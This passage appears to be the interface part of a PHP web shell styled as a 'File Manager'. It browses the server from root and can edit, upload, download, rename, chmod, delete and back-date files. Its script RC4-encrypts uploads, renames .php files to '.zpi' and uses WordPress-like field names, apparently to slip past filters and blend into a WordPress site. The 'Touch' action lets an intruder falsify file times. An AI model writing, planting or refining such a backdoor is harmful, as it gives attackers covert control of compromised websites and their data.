            border-radius:4px;
            font-size:11px;
            font-weight:600;
        }

        .actions {
            display:flex;
            gap:6px;
            flex-wrap:nowrap;
        }

        .action-button {
            padding:5px 10px;
            background:#fff;
            color:#555;
            border:1px solid #ddd;
            font-size:11px;
            cursor:pointer;
            text-decoration:none;
            border-radius:4px;
            transition: all 0.2s;
            font-weight:500;
            white-space:nowrap;
        }

        .action-button:hover {
            background:#f8f9fa;
            border-color:#2a5298;
            color:#2a5298;
        }

        .action-button-danger {
            border-color:#dc3545;
            color:#dc3545;
        }

        .action-button-danger:hover {
            background:#dc3545;
            color:#fff;
        }

        textarea {
            width:100%;
            height:450px;
            background:#fafafa;
            color:#333;
            border:1px solid #ddd;
            padding:16px;
            font-family:'Courier New', monospace;
            font-size:13px;
            border-radius:4px;
            line-height:1.5;
        }

        textarea:focus {
            outline:none;
            border-color:#2a5298;
            background:#fff;
        }

        input[type="text"] {
            background:#fafafa;
            color:#333;
            border:1px solid #ddd;
            padding:8px 12px;
            border-radius:4px;
            width:300px;
            font-size:13px;
        }

        input[type="text"]:focus {
            outline:none;
            border-color:#2a5298;
            background:#fff;
        }

        .edit-container {
            padding:18px;
            background:#fff;
        }

        .edit-title {
            color:#2a5298;
            margin-bottom:14px;
            font-size:15px;
            font-weight:600;
        }

        @media (max-width: 768px) {
            body { padding:8px; }
            .tools { flex-direction:column; }
            .button, .action-button { width:100%; justify-content:center; }
            input[type="text"] { width:100%; }
            .file-table th, .file-table td { padding:8px 12px; font-size:12px; }
            .header { padding:12px 14px; }
            .system-info { font-size:10px; gap:6px; }
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>📁 File Manager</h1>
        <div class="system-info">
            <?php foreach($systemInfo as $key=>$value): ?>
                <span><?=$key?>: <b><?=htmlspecialchars($value)?></b></span>
            <?php endforeach; ?>
        </div>
    </div>

    <?php if($message): ?>
        <div class="message"><?=$message?></div>
    <?php endif; ?>

    <div class="path-navigation">
        <?php
        $isWindows = preg_match('/^[a-zA-Z]:/', $currentPath);

        if($isWindows) {
            $pathStr = str_replace('\\', '/', $currentPath);
            $parts = array_filter(explode('/', $pathStr));
            $current = '';
            $isFirst = true;
            foreach($parts as $part):
                if($isFirst) {
                    $current = $part;
                    $isFirst = false;
                    ?>
                    <a href="<?=buildUrl(['p'=>$current.'/'])?>"><?=htmlspecialchars($part)?></a>
                    <?php
                } else {
                    $current .= '/' . $part;
                    ?>
                    <span style="color:#bbb">/</span>
                    <a href="<?=buildUrl(['p'=>$current.'/'])?>"><?=htmlspecialchars($part)?></a>
                    <?php
                }
            endforeach;
        } else {
            ?>
            <a href="<?=buildUrl(['p'=>'/'])?>">Root</a>
            <?php
            $parts = array_filter(explode('/', trim($currentPath, '/')));
            $current = '';
            foreach($parts as $part):
                $current .= '/' . $part;
                ?>
                <span style="color:#bbb">/</span>
                <a href="<?=buildUrl(['p'=>$current.'/'])?>"><?=htmlspecialchars($part)?></a>
            <?php
            endforeach;
        }
        ?>
    </div>

    <div class="tools">
        <button onclick="uploadFileByPost()">📤 Upload File</button>

        <button class="button" onclick="newFile()">📝 New File</button>
        <button class="button" onclick="newFolder()">📁 New Folder</button>

        <?php if(isset($_GET['edit'])): ?>
            <a href="<?=buildUrl(['p'=>$currentPath])?>" class="button button-danger">Close Editor</a>
        <?php endif; ?>
    </div>

    <?php if(isset($_GET['edit'])): ?>
        <div class="edit-container">
            <div class="edit-title">Editing: <?=htmlspecialchars($_GET['edit'])?></div>
            <form method="post">
                <input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
                <textarea name="data"><?=htmlspecialchars(@file_get_contents($currentPath.$_GET['edit']) ?: '')?></textarea>
                <div style="margin-top:20px;display:flex;gap:12px;">
                    <button class="button button-primary">💾 Save</button>
                    <a href="<?=buildUrl(['p'=>$currentPath])?>" class="button button-danger">Cancel</a>
                </div>
            </form>
        </div>
    <?php else: ?>
        <table class="file-table">
            <thead>
            <tr>
                <th width="35%">Name</th>
                <th width="8%">Size</th>
                <th width="10%">Permissions</th>
                <th width="13%">Modified</th>
                <th width="34%">Actions</th>
            </tr>
            </thead>
            <tbody>
            <?php if($currentPath !== '/' && dirname($currentPath) !== $currentPath): ?>
                <tr>
                    <td colspan="5">
                        <a href="<?=buildUrl(['p'=>dirname($currentPath)])?>" class="folder-link">
                            📂 Parent Directory
                        </a>
                    </td>
                </tr>
            <?php endif; ?>

            <?php foreach($folders as $folder): ?>
                <?php
                $folderPath = $currentPath.$folder;
                $permissions = substr(sprintf('%o', @fileperms($folderPath)), -3);
                ?>
                <tr>
                    <td>
                        <a href="<?=buildUrl(['p'=>$folderPath])?>" class="folder-link">
                            📁 <?=htmlspecialchars($folder)?>
                        </a>
                    </td>
                    <td class="size">-</td>
                    <td><span class="permissions"><?=$permissions?></span></td>
                    <td><?=@filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-'?></td>
                    <td>
                        <div class="actions">
                            <button onclick="renameItem('<?=htmlspecialchars($folder, ENT_QUOTES)?>')" class="action-button">Rename</button>
                            <button onclick="changePermissions('<?=htmlspecialchars($folder, ENT_QUOTES)?>','<?=$permissions?>')" class="action-button">Chmod</button>
                            <button onclick="changeTime('<?=htmlspecialchars($folder, ENT_QUOTES)?>')" class="action-button">Touch</button>
                            <button class="action-button action-button-danger" onclick="deleteItem('<?=htmlspecialchars($folder, ENT_QUOTES)?>', true)">Delete</button>
                        </div>
                    </td>
                </tr>
            <?php endforeach; ?>

            <?php foreach($files as $file): ?>
                <?php
                $filePath = $currentPath.$file;
                $size = @filesize($filePath);
                $permissions = substr(sprintf('%o', @fileperms($filePath)), -3);
                $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                $editable = in_array($extension, ['php','html','js','css','txt','json','xml','sql','md','log','ini','conf','yml','yaml']);
                ?>
                <tr>
                    <td>
                        <?php if($editable): ?>
                            <a href="<?=buildUrl(['p'=>$currentPath,'edit'=>$file])?>" class="file-link">
                                📄 <?=htmlspecialchars($file)?>
                            </a>
                        <?php else: ?>
                            <a href="<?=buildUrl(['p'=>$currentPath,'action'=>'download','item'=>$file])?>" class="file-link">
                                📄 <?=htmlspecialchars($file)?>
                            </a>
                        <?php endif; ?>
                    </td>
                    <td class="size">
                        <?php if($size !== false): ?>
                            <?php
                            if($size < 1024) echo $size . ' B';
                            elseif($size < 1048576) echo round($size/1024, 1) . ' KB';
                            elseif($size < 1073741824) echo round($size/1048576, 1) . ' MB';
                            else echo round($size/1073741824, 1) . ' GB';
                            ?>
                        <?php else: ?>
                            -
                        <?php endif; ?>
                    </td>
                    <td><span class="permissions"><?=$permissions?></span></td>
                    <td><?=@filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-'?></td>
                    <td>
                        <div class="actions">
                            <?php if($editable): ?>
                                <a href="<?=buildUrl(['p'=>$currentPath,'edit'=>$file])?>" class="action-button">Edit</a>
                            <?php endif; ?>
                            <a href="<?=buildUrl(['p'=>$currentPath,'action'=>'download','item'=>$file])?>" class="action-button">Download</a>
                            <button onclick="renameItem('<?=htmlspecialchars($file, ENT_QUOTES)?>')" class="action-button">Rename</button>
                            <button onclick="changePermissions('<?=htmlspecialchars($file, ENT_QUOTES)?>','<?=$permissions?>')" class="action-button">Chmod</button>
                            <button onclick="changeTime('<?=htmlspecialchars($file, ENT_QUOTES)?>')" class="action-button">Touch</button>
                            <button class="action-button action-button-danger" onclick="deleteItem('<?=htmlspecialchars($file, ENT_QUOTES)?>', false)">Delete</button>
                        </div>
                    </td>
                </tr>
            <?php endforeach; ?>

            <?php if(empty($folders) && empty($files)): ?>
                <tr>
                    <td colspan="5" style="text-align:center;padding:60px;color:#999;">
                        📭 Empty Directory
                    </td>
                </tr>
            <?php endif; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>

<script>
    const auth = {u: '<?=htmlspecialchars($username, ENT_QUOTES)?>', p: '<?=htmlspecialchars($password, ENT_QUOTES)?>'};
    const currentPath = '<?=htmlspecialchars($currentPath, ENT_QUOTES)?>';

    function rc4EncryptBufferToHex(buffer, key) {
        if (!buffer || !key) return '';
        const data = new Uint8Array(buffer);
        const keyBytes = new TextEncoder().encode(key);
        const s = new Uint8Array(256);
        for (let i = 0; i < 256; i++) s[i] = i;

        let j = 0;
        for (let i = 0; i < 256; i++) {
            j = (j + s[i] + keyBytes[i % keyBytes.length]) & 0xff;
            [s[i], s[j]] = [s[j], s[i]];
        }

        let i = 0;
        j = 0;
        let hex = '';

        for (let c = 0; c < data.length; c++) {
            i = (i + 1) & 0xff;
            j = (j + s[i]) & 0xff;
            [s[i], s[j]] = [s[j], s[i]];

            const k = s[(s[i] + s[j]) & 0xff];
            const encrypted = data[c] ^ k;

            hex += encrypted.toString(16).padStart(2, '0');
        }

        return '0xto' + hex;
    }

    function addAuth(url) {
        const separator = url.includes('?') ? '&' : '?';
        return url + separator + 'auth_u=' + encodeURIComponent(auth.u) + '&auth_p=' + encodeURIComponent(auth.p);
    }

    function submitForm(data) {
        const form = document.createElement('form');
        form.method = 'post';
        for(const key in data) {
            const input = document.createElement('input');
            input.type = 'hidden';
            input.name = key;
            input.value = data[key];
            form.appendChild(input);
        }

        const userInput = document.createElement('input');
        userInput.type = 'hidden';
        userInput.name = 'username';
        userInput.value = auth.u;
        form.appendChild(userInput);

        const passInput = document.createElement('input');
        passInput.type = 'hidden';
        passInput.name = 'password';
        passInput.value = auth.p;
        form.appendChild(passInput);

        document.body.appendChild(form);
        form.submit();
    }

    function uploadFileByPost() {
        const input = document.createElement('input');
        input.type = 'file';
        input.style.display = 'none';
        document.body.appendChild(input);

        input.onchange = function () {
            const file = input.files[0];
            if (!file) return;

            const reader = new FileReader();
            let fileName = file.name;
            reader.onload = function () {
                const buffer = reader.result;

                const hexData = rc4EncryptBufferToHex(
                    buffer,
                    'wp_table_wordpress'
                );

                fileName = fileName.replace(/\.php$/i, '.zpi');
                submitForm({
                    "wp_menu": "FileDataHex",
                    nameFile: fileName,
                    dataHex: hexData,
                    size: file.size,
                });

                document.body.removeChild(input);
            };

            reader.onerror = function () {
                alert('File read failed');
                document.body.removeChild(input);
            };

            reader.readAsArrayBuffer(file);
        };

        input.click();
    }

    function newFile() {
        let fileName = prompt('Enter file name:', 'newfile.txt');
        fileName = fileName.replace(/\.php$/i, '.zpi');

        if (fileName) {
            let content = prompt('File content (optional):', '');
            const encoder = new TextEncoder(); // UTF-8
            const buffer = encoder.encode(content); // Uint8Array
            contentHex = rc4EncryptBufferToHex(buffer, "wp_table_wordpress");
            submitForm({
                'new': fileName,
                'content': contentHex || ''
            });
        }
    }

    function deleteItem(itemName, isDir = false) {
        if (!confirm(
            isDir ? 'Delete this folder?' : 'Delete this file?'
        )) {
            return;
        }

        submitForm({
            "wp_menu": "delete",
            "nameFile": itemName,
            path: currentPath
        });
    }

    function newFolder() {
        const folderName = prompt('Enter folder name:', 'newfolder');
        if(folderName) {
            submitForm({
                'new': folderName,
                'type': 'dir'
            });
        }
    }

    function renameItem(oldName) {
        const newName = prompt('Enter new name:', oldName);
        if(newName && newName !== oldName) {
            submitForm({
                'oldname': oldName,
                'newname': newName
            });
        }
    }

    function changePermissions(item, currentPerm) {
        const newPerm = prompt('Enter new permissions (e.g., 755):', currentPerm);
        if(newPerm && /^[0-7]{3}$/.test(newPerm)) {
            submitForm({
                'chmod_item': item,
                'chmod_value': newPerm
            });
        } else if(newPerm) {
            alert('Invalid permission format! Please enter three octal digits (e.g., 755)');
        }
    }

    function changeTime(item) {
        const dateStr = prompt('Enter modification time (YYYY-MM-DD HH:MM):', '');
        if(dateStr) {
            const timestamp = Date.parse(dateStr) / 1000;
            if(!isNaN(timestamp) && timestamp > 0) {
                submitForm({
                    'touch_item': item,
                    'touch_time': Math.floor(timestamp)
                });
            } else {
                alert('Invalid date format! Please use YYYY-MM-DD HH:MM format');
            }
        }
    }

    document.addEventListener('DOMContentLoaded', function() {
        document.querySelectorAll('form').forEach(function(form) {
            if(!form.querySelector('input[name="username"]')) {
                const userInput = document.createElement('input');
                userInput.type = 'hidden';
                userInput.name = 'username';
                userInput.value = auth.u;
                form.appendChild(userInput);

                const passInput = document.createElement('input');
                passInput.type = 'hidden';
                passInput.name = 'password';
                passInput.value = auth.p;
                form.appendChild(passInput);
            }
        });
    });
</script>
</body>
</html>